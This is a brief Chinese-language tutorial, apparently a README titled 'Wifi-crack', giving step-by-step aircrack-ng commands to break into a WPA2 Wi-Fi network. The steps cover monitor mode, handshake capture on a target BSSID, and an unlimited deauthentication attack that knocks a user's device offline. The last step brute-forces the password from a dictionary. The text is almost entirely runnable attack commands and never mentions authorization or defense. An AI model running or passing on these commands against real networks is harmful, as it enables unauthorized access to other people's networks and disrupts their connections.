Wifi-crack

1. Install | 安装 aircrack-ng

sudo apt install aircrack-ng

2. 查看可用的无线网卡

sudo airmon-ng

3. 指定无线网卡开启监听模式

sudo airmon-ng start wlan0

4. 扫描附近的无线网络

airodump-ng wlan0mon

这一步会输出两个列表，两个列表不停在刷新。

第一个列表表示扫描到的无线网络 AP 信息，会用到以下几列信息：

• BSSID: 无线 AP 的硬件地址
• PWR: 信号强度，值是负数，绝对值越小表示信号越强
• CH: 无线网络信道
• ENC: 加密方式，我们要破解的是 WPA2
• ESSID: 无线网络的名称

第二个列表表示某个无线网络中和用户设备的连接信息：

• BSSID: 无线 AP 的硬件地址
• STATION: 用户设备的硬件地址

扫描列表会不停刷新，确定最终目标后按 Ctrl-C 退出。

5. 使用参数过滤扫描列表，确定扫描目标

使用命令：`airodump-ng -w <扫描结果保存的文件名> -c <无线网络信道> --bssid <目标无线 AP 的硬件地址> <处于监听模式的网卡名称>`

sudo airodump-ng -w android -c 6 --bssid 22:47:DA:62:2A:F0 wlan0mon

只有当扫描状态后面出现 ` ][ WPA handshake: 22:47:DA:62:2A:F0` 后，我们才拿到拿到进行破解的握手包。

扫描过程中如果有用户设备尝试连接 Wi-Fi 时，我们就会拿到握手包。

所以我们可以同时使用 `aireplay-ng` 对目标设备进行攻击，使其掉线重新连接，这样我们就拿到了握手包。

拿到握手包后按 Ctrl-C 结束扫描即可。

6. 使用 aireplay-ng 对目标设备发起攻击

使用命令：`aireplay-ng -<攻击模式> <攻击次数> -a 无线 AP 硬件地址> -c <用户设备硬件地址> <处于监听模式的网卡名称>`

sudo aireplay-ng -0 0 -a 22:47:DA:62:2A:F0 -c AC:BC:32:96:31:8D wlp8s0mon

发起攻击后，当 `airodump-ng` 成功拿到了握手包，使用 Ctrl-C 退出攻击。

7. 使用 aircrack-ng 暴力破解 Wi-Fi 密码

使用命令：`aircrack-ng -w 密码字典 <包含握手包的 cap 文件>`

aircrack-ng -w wpa-dictionary/common.txt android-01.cap

8. 无线网卡退出监听模式

使用命令：`airmon-ng stop <处于监听模式的网卡名称>`

sudo airmon-ng stop wlan0mon